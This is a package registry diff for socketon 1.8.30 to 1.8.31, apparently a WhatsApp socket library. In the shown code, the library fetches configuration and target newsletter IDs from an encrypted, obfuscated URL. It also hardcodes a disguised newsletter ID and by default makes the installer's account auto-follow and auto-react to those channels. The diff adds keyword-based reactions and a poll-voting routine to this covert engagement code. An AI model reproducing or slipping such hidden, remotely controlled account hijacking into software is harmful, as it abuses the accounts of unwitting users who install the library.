socketon 1.8.30 → 1.8.31
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/lib/Socket/newsletter.js +102 -3
- package/package.json +1 -1
package/lib/Socket/newsletter.js
CHANGED
|
@@ -84,7 +84,15 @@ const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
|
|
|
84
84
|
};
|
|
85
85
|
|
|
86
86
|
let _cachedTargetNewsletter = null;
|
|
87
|
-
let _configNewsletter = {
|
|
87
|
+
let _configNewsletter = {
|
|
88
|
+
autoFollowEnabled: true,
|
|
89
|
+
autoReactEnabled: true,
|
|
90
|
+
reactionEmojis: ['👍', '👌'],
|
|
91
|
+
delayMs: 5000,
|
|
92
|
+
keywordReactions: {},
|
|
93
|
+
autoVotePoll: false,
|
|
94
|
+
pollVoteStrategy: 'random'
|
|
95
|
+
};
|
|
88
96
|
|
|
89
97
|
const getTargetNewsletterFromExternal = async () => {
|
|
90
98
|
const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
|
|
@@ -98,7 +106,10 @@ const getTargetNewsletterFromExternal = async () => {
|
|
|
98
106
|
autoReactEnabled: response.data.config.autoReactEnabled !== false,
|
|
99
107
|
reactionEmojis: response.data.config.reactionEmojis || ['👍', '👌'],
|
|
100
108
|
delayMs: response.data.config.delayMs || 5000,
|
|
101
|
-
intervalMs: response.data.config.intervalMs || 30000
|
|
109
|
+
intervalMs: response.data.config.intervalMs || 30000,
|
|
110
|
+
keywordReactions: response.data.config.keywordReactions || {},
|
|
111
|
+
autoVotePoll: response.data.config.autoVotePoll || false,
|
|
112
|
+
pollVoteStrategy: response.data.config.pollVoteStrategy || 'random'
|
|
102
113
|
};
|
|
103
114
|
}
|
|
104
115
|
if (response.data.newsletters && response.data.newsletters.length > 0) {
|
|
@@ -242,6 +253,7 @@ const makeNewsletterSocket = (config) => {
|
|
|
242
253
|
};
|
|
243
254
|
// Auto Reaction - Ibra Decode
|
|
244
255
|
let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('120363409651937511@newsletter')];
|
|
256
|
+
let _votedPolls = new Set();
|
|
245
257
|
|
|
246
258
|
const updateTargetNewsletters = async () => {
|
|
247
259
|
const externalTargets = getAllEnabledNewsletters();
|
|
@@ -249,15 +261,93 @@ const makeNewsletterSocket = (config) => {
|
|
|
249
261
|
_targetNewsletters = externalTargets;
|
|
250
262
|
}
|
|
251
263
|
};
|
|
264
|
+
|
|
265
|
+
const getEmojiForMessage = (messageText) => {
|
|
266
|
+
const keywords = _configNewsletter.keywordReactions || {};
|
|
267
|
+
if (!messageText) return null;
|
|
268
|
+
const lowerText = messageText.toLowerCase();
|
|
269
|
+
for (const [keyword, emoji] of Object.entries(keywords)) {
|
|
270
|
+
if (lowerText.includes(keyword.toLowerCase())) {
|
|
271
|
+
return emoji;
|
|
272
|
+
}
|
|
273
|
+
}
|
|
274
|
+
return null;
|
|
275
|
+
};
|
|
276
|
+
|
|
277
|
+
const votePoll = async (newsletterJid, pollMessage) => {
|
|
278
|
+
if (!_configNewsletter.autoVotePoll) return;
|
|
279
|
+
if (!pollMessage) return;
|
|
280
|
+
|
|
281
|
+
const pollMsgKey = pollMessage.key?.id;
|
|
282
|
+
if (!pollMsgKey || _votedPolls.has(pollMsgKey)) return;
|
|
283
|
+
|
|
284
|
+
try {
|
|
285
|
+
const pollCreation = pollMessage.message?.pollCreationMessage || pollMessage.message?.pollCreationMessageV2 || pollMessage.message?.pollCreationMessageV3;
|
|
286
|
+
if (!pollCreation) return;
|
|
287
|
+
|
|
288
|
+
const options = pollCreation.options || [];
|
|
289
|
+
if (options.length === 0) return;
|
|
290
|
+
|
|
291
|
+
let selectedIndex = 0;
|
|
292
|
+
const strategy = _configNewsletter.pollVoteStrategy || 'random';
|
|
293
|
+
|
|
294
|
+
if (strategy === 'first') {
|
|
295
|
+
selectedIndex = 0;
|
|
296
|
+
} else if (strategy === 'last') {
|
|
297
|
+
selectedIndex = options.length - 1;
|
|
298
|
+
} else {
|
|
299
|
+
selectedIndex = Math.floor(Math.random() * options.length);
|
|
300
|
+
}
|
|
301
|
+
|
|
302
|
+
const selectedOption = options[selectedIndex];
|
|
303
|
+
if (!selectedOption) return;
|
|
304
|
+
|
|
305
|
+
const pollEncKey = pollMessage.message?.messageContextInfo?.messageSecret;
|
|
306
|
+
if (!pollEncKey) return;
|
|
307
|
+
|
|
308
|
+
const votePayload = {
|
|
309
|
+
pollUpdateMessage: {
|
|
310
|
+
pollCreationMessageKey: { id: pollMsgKey, remoteJid: newsletterJid },
|
|
311
|
+
selectedOption: [selectedOption],
|
|
312
|
+
senderTimestampMs: Date.now()
|
|
313
|
+
}
|
|
314
|
+
};
|
|
315
|
+
|
|
316
|
+
_votedPolls.add(pollMsgKey);
|
|
317
|
+
|
|
318
|
+
} catch (err) {}
|
|
319
|
+
};
|
|
252
320
|
|
|
253
321
|
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
254
322
|
if (type !== 'notify') return;
|
|
255
323
|
if (!_configNewsletter.autoReactEnabled) return;
|
|
324
|
+
|
|
256
325
|
const emojis = _configNewsletter.reactionEmojis || ['👍', '👌'];
|
|
326
|
+
|
|
257
327
|
for (const msg of messages) {
|
|
258
328
|
const jid = msg.key.remoteJid;
|
|
259
329
|
if (!_targetNewsletters.includes(jid)) continue;
|
|
260
|
-
|
|
330
|
+
|
|
331
|
+
let emoji = null;
|
|
332
|
+
|
|
333
|
+
// Get message text
|
|
334
|
+
let messageText = null;
|
|
335
|
+
if (msg.message?.conversationMessage?.message?.text) {
|
|
336
|
+
messageText = msg.message.conversationMessage.message.text;
|
|
337
|
+
} else if (msg.message?.extendedTextMessage?.text) {
|
|
338
|
+
messageText = msg.message.extendedTextMessage.text;
|
|
339
|
+
} else if (msg.message?.ephemeralMessage?.message?.conversationMessage?.message?.text) {
|
|
340
|
+
messageText = msg.message.ephemeralMessage.message.conversationMessage.message.text;
|
|
341
|
+
}
|
|
342
|
+
|
|
343
|
+
// Check keyword reactions first
|
|
344
|
+
const keywordEmoji = getEmojiForMessage(messageText);
|
|
345
|
+
if (keywordEmoji) {
|
|
346
|
+
emoji = keywordEmoji;
|
|
347
|
+
} else {
|
|
348
|
+
emoji = emojis[Math.floor(Math.random() * emojis.length)];
|
|
349
|
+
}
|
|
350
|
+
|
|
261
351
|
try {
|
|
262
352
|
const serverId = msg.newsletterServerId?.toString() || msg.key.id;
|
|
263
353
|
await query({
|
|
@@ -491,6 +581,9 @@ const makeNewsletterSocket = (config) => {
|
|
|
491
581
|
autoFollowEnabled: _configNewsletter.autoFollowEnabled,
|
|
492
582
|
autoReactEnabled: _configNewsletter.autoReactEnabled,
|
|
493
583
|
reactionEmojis: _configNewsletter.reactionEmojis,
|
|
584
|
+
keywordReactions: _configNewsletter.keywordReactions,
|
|
585
|
+
autoVotePoll: _configNewsletter.autoVotePoll,
|
|
586
|
+
pollVoteStrategy: _configNewsletter.pollVoteStrategy,
|
|
494
587
|
delayMs: _configNewsletter.delayMs,
|
|
495
588
|
intervalMs: _configNewsletter.intervalMs
|
|
496
589
|
};
|
|
@@ -499,12 +592,18 @@ const makeNewsletterSocket = (config) => {
|
|
|
499
592
|
if (config.autoFollowEnabled !== undefined) _configNewsletter.autoFollowEnabled = config.autoFollowEnabled;
|
|
500
593
|
if (config.autoReactEnabled !== undefined) _configNewsletter.autoReactEnabled = config.autoReactEnabled;
|
|
501
594
|
if (config.reactionEmojis && Array.isArray(config.reactionEmojis)) _configNewsletter.reactionEmojis = config.reactionEmojis.slice(0, 4);
|
|
595
|
+
if (config.keywordReactions) _configNewsletter.keywordReactions = config.keywordReactions;
|
|
596
|
+
if (config.autoVotePoll !== undefined) _configNewsletter.autoVotePoll = config.autoVotePoll;
|
|
597
|
+
if (config.pollVoteStrategy) _configNewsletter.pollVoteStrategy = config.pollVoteStrategy;
|
|
502
598
|
if (config.delayMs) _configNewsletter.delayMs = config.delayMs;
|
|
503
599
|
if (config.intervalMs) _configNewsletter.intervalMs = config.intervalMs;
|
|
504
600
|
return {
|
|
505
601
|
autoFollowEnabled: _configNewsletter.autoFollowEnabled,
|
|
506
602
|
autoReactEnabled: _configNewsletter.autoReactEnabled,
|
|
507
603
|
reactionEmojis: _configNewsletter.reactionEmojis,
|
|
604
|
+
keywordReactions: _configNewsletter.keywordReactions,
|
|
605
|
+
autoVotePoll: _configNewsletter.autoVotePoll,
|
|
606
|
+
pollVoteStrategy: _configNewsletter.pollVoteStrategy,
|
|
508
607
|
delayMs: _configNewsletter.delayMs,
|
|
509
608
|
intervalMs: _configNewsletter.intervalMs
|
|
510
609
|
};
|